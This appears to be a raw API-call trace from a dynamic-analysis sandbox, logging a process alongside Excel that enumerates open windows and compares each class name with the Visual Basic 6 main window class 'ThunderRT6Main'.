[0104.388] GetClassNameA (in: hWnd=0x10204, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0104.388] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0104.388] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.388] GetWindowLongA (hWnd=0x10204, nIndex=-16) returned -1778384896 [0104.388] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0104.388] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0104.388] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x302e6 [0104.388] GetClassNameA (in: hWnd=0x302e6, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0104.388] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0104.388] GetWindowThreadProcessId (in: hWnd=0x302e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xac4 [0104.388] GetWindow (hWnd=0x302e6, uCmd=0x2) returned 0x502aa [0104.388] GetClassNameA (in: hWnd=0x502aa, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.388] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.388] GetWindowThreadProcessId (in: hWnd=0x502aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0104.388] GetWindow (hWnd=0x502aa, uCmd=0x2) returned 0x202b0 [0104.388] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0104.388] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0104.388] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.388] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -1946157056 [0104.388] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0104.388] IsWindowEnabled (hWnd=0x202b0) returned 0 [0104.388] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0104.388] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0104.388] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0104.388] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026e [0104.388] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0104.388] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0104.388] GetWindowThreadProcessId (in: hWnd=0x2026e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.388] GetWindowLongA (hWnd=0x2026e, nIndex=-16) returned 1149272145 [0104.389] GetWindow (hWnd=0x2026e, uCmd=0x2) returned 0x10296 [0104.389] GetClassNameA (in: hWnd=0x10296, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0104.389] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0104.389] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0104.389] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x20232 [0104.389] GetClassNameA (in: hWnd=0x20232, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0104.389] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0104.389] GetWindowThreadProcessId (in: hWnd=0x20232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.389] GetWindowLongA (hWnd=0x20232, nIndex=-16) returned 213909504 [0104.389] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0104.389] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0104.389] GetWindow (hWnd=0x20232, uCmd=0x2) returned 0x1022e [0104.389] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0104.389] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0104.389] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.389] GetWindowLongA (hWnd=0x1022e, nIndex=-16) returned -2080374784 [0104.389] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0104.389] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0104.389] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x101d2 [0104.389] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0104.389] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0104.389] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.389] GetWindowLongA (hWnd=0x101d2, nIndex=-16) returned -2046820352 [0104.389] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0104.389] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0104.389] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101d0 [0104.389] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0104.389] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0104.389] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.389] GetWindowLongA (hWnd=0x101d0, nIndex=-16) returned -2046820352 [0104.389] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0104.389] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0104.389] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101ce [0104.389] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0104.389] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0104.389] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.389] GetWindowLongA (hWnd=0x101ce, nIndex=-16) returned -2046820352 [0104.389] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0104.389] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0104.389] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101cc [0104.389] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0104.389] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0104.389] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.389] GetWindowLongA (hWnd=0x101cc, nIndex=-16) returned -2046820352 [0104.389] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0104.389] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0104.389] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x301a2 [0104.389] GetClassNameA (in: hWnd=0x301a2, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0104.390] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0104.390] GetWindowThreadProcessId (in: hWnd=0x301a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.390] GetWindowLongA (hWnd=0x301a2, nIndex=-16) returned 114229248 [0104.390] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0104.390] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0104.390] GetWindow (hWnd=0x301a2, uCmd=0x2) returned 0x401a4 [0104.390] GetClassNameA (in: hWnd=0x401a4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0104.390] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0104.390] GetWindowThreadProcessId (in: hWnd=0x401a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x914 [0104.390] GetWindow (hWnd=0x401a4, uCmd=0x2) returned 0x201a0 [0104.390] GetClassNameA (in: hWnd=0x201a0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0104.390] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0104.390] GetWindowThreadProcessId (in: hWnd=0x201a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.390] GetWindowLongA (hWnd=0x201a0, nIndex=-16) returned -2080374784 [0104.390] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0104.390] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0104.390] GetWindow (hWnd=0x201a0, uCmd=0x2) returned 0x10194 [0104.390] GetClassNameA (in: hWnd=0x10194, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.390] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.390] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0104.390] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10192 [0104.390] GetClassNameA (in: hWnd=0x10192, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="spendwin") returned 8 [0104.390] lstrcmpA (lpString1="spendwin", lpString2="ThunderRT6Main") returned -1 [0104.390] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0104.390] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x20208 [0104.390] GetClassNameA (in: hWnd=0x20208, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0104.390] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0104.390] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.390] GetWindowLongA (hWnd=0x20208, nIndex=-16) returned -2080374784 [0104.390] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0104.390] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0104.390] GetWindow (hWnd=0x20208, uCmd=0x2) returned 0x201fa [0104.390] GetClassNameA (in: hWnd=0x201fa, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0104.390] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0104.390] GetWindowThreadProcessId (in: hWnd=0x201fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.390] GetWindowLongA (hWnd=0x201fa, nIndex=-16) returned 1149272145 [0104.390] GetWindow (hWnd=0x201fa, uCmd=0x2) returned 0x101c8 [0104.390] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0104.390] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0104.390] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0104.390] GetWindowLongA (hWnd=0x101c8, nIndex=-16) returned 1149272145 [0104.390] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x1018e [0104.390] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Possiblycls") returned 11 [0104.390] lstrcmpA (lpString1="Possiblycls", lpString2="ThunderRT6Main") returned -1 [0104.390] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0104.390] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0104.391] GetClassNameA (in: hWnd=0x10190, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.391] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0104.391] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0104.391] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="completingapp") returned 13 [0104.391] lstrcmpA (lpString1="completingapp", lpString2="ThunderRT6Main") returned -1 [0104.391] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0104.391] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0104.391] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.391] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0104.391] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0104.391] GetClassNameA (in: hWnd=0x10186, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Household") returned 9 [0104.391] lstrcmpA (lpString1="Household", lpString2="ThunderRT6Main") returned -1 [0104.391] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0104.391] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0104.391] GetClassNameA (in: hWnd=0x10188, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.391] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0104.391] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0104.391] GetClassNameA (in: hWnd=0x10182, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="mjvidsclass") returned 11 [0104.391] lstrcmpA (lpString1="mjvidsclass", lpString2="ThunderRT6Main") returned -1 [0104.391] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0104.391] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0104.391] GetClassNameA (in: hWnd=0x10184, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.391] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0104.391] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0104.391] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Unlessclass") returned 11 [0104.391] lstrcmpA (lpString1="Unlessclass", lpString2="ThunderRT6Main") returned 1 [0104.391] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0104.391] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0104.391] GetClassNameA (in: hWnd=0x10180, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.391] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0104.391] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0104.391] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Consultants_Consistent_window") returned 29 [0104.391] lstrcmpA (lpString1="Consultants_Consistent_window", lpString2="ThunderRT6Main") returned -1 [0104.391] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0104.392] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0104.392] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.392] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0104.392] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0104.392] GetClassNameA (in: hWnd=0x10176, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="renew_sonic_Sms_win") returned 19 [0104.392] lstrcmpA (lpString1="renew_sonic_Sms_win", lpString2="ThunderRT6Main") returned -1 [0104.392] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0104.392] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0104.392] GetClassNameA (in: hWnd=0x10178, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.392] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0104.392] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0104.392] GetClassNameA (in: hWnd=0x10172, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Regards_Neo_parade_app") returned 22 [0104.392] lstrcmpA (lpString1="Regards_Neo_parade_app", lpString2="ThunderRT6Main") returned -1 [0104.392] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0104.392] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0104.392] GetClassNameA (in: hWnd=0x10174, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.392] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0104.392] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0104.392] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="marsh_cls") returned 9 [0104.392] lstrcmpA (lpString1="marsh_cls", lpString2="ThunderRT6Main") returned -1 [0104.392] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0104.392] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0104.392] GetClassNameA (in: hWnd=0x10170, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.392] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0104.392] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0104.392] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="shotsWorsenh") returned 12 [0104.392] lstrcmpA (lpString1="shotsWorsenh", lpString2="ThunderRT6Main") returned -1 [0104.393] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0104.393] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0104.393] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.393] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0104.393] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10164 [0104.393] GetClassNameA (in: hWnd=0x10164, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="shine_class") returned 11 [0104.393] lstrcmpA (lpString1="shine_class", lpString2="ThunderRT6Main") returned -1 [0104.393] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0104.393] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0104.393] GetClassNameA (in: hWnd=0x10166, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.393] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0104.393] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0104.393] GetClassNameA (in: hWnd=0x10160, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="waxpreparationcardiaccls") returned 24 [0104.393] lstrcmpA (lpString1="waxpreparationcardiaccls", lpString2="ThunderRT6Main") returned 1 [0104.393] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0104.393] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0104.393] GetClassNameA (in: hWnd=0x10162, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.393] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0104.394] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x1015c [0104.394] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="teRaywindow") returned 11 [0104.394] lstrcmpA (lpString1="teRaywindow", lpString2="ThunderRT6Main") returned -1 [0104.394] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0104.394] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x1015e [0104.394] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.394] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0104.394] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0xa0154 [0104.394] GetClassNameA (in: hWnd=0xa0154, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Summer_movie_ourselves_app") returned 26 [0104.394] lstrcmpA (lpString1="Summer_movie_ourselves_app", lpString2="ThunderRT6Main") returned -1 [0104.394] GetWindowThreadProcessId (in: hWnd=0xa0154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0104.394] GetWindow (hWnd=0xa0154, uCmd=0x2) returned 0x20158 [0104.394] GetClassNameA (in: hWnd=0x20158, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.394] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0104.394] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x2010a [0104.394] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="VidsRatingclass") returned 15 [0104.394] lstrcmpA (lpString1="VidsRatingclass", lpString2="ThunderRT6Main") returned 1 [0104.394] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0104.394] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x10156 [0104.394] GetClassNameA (in: hWnd=0x10156, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.394] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0104.394] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x20116 [0104.394] GetClassNameA (in: hWnd=0x20116, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0104.394] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0104.394] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0104.394] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0104.394] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0104.394] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0104.394] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0104.394] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0104.395] GetClassNameA (in: hWnd=0x10148, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0104.395] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0104.395] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0104.395] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0104.395] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0104.395] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0104.395] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0104.395] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0104.395] GetClassNameA (in: hWnd=0x10132, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0104.395] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0104.395] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0104.395] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0104.395] GetClassNameA (in: hWnd=0x10134, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.395] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0104.395] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0104.395] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0104.395] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0104.395] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0104.395] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0104.395] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0104.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0104.395] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0104.395] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0104.395] GetClassNameA (in: hWnd=0x10120, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0104.395] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 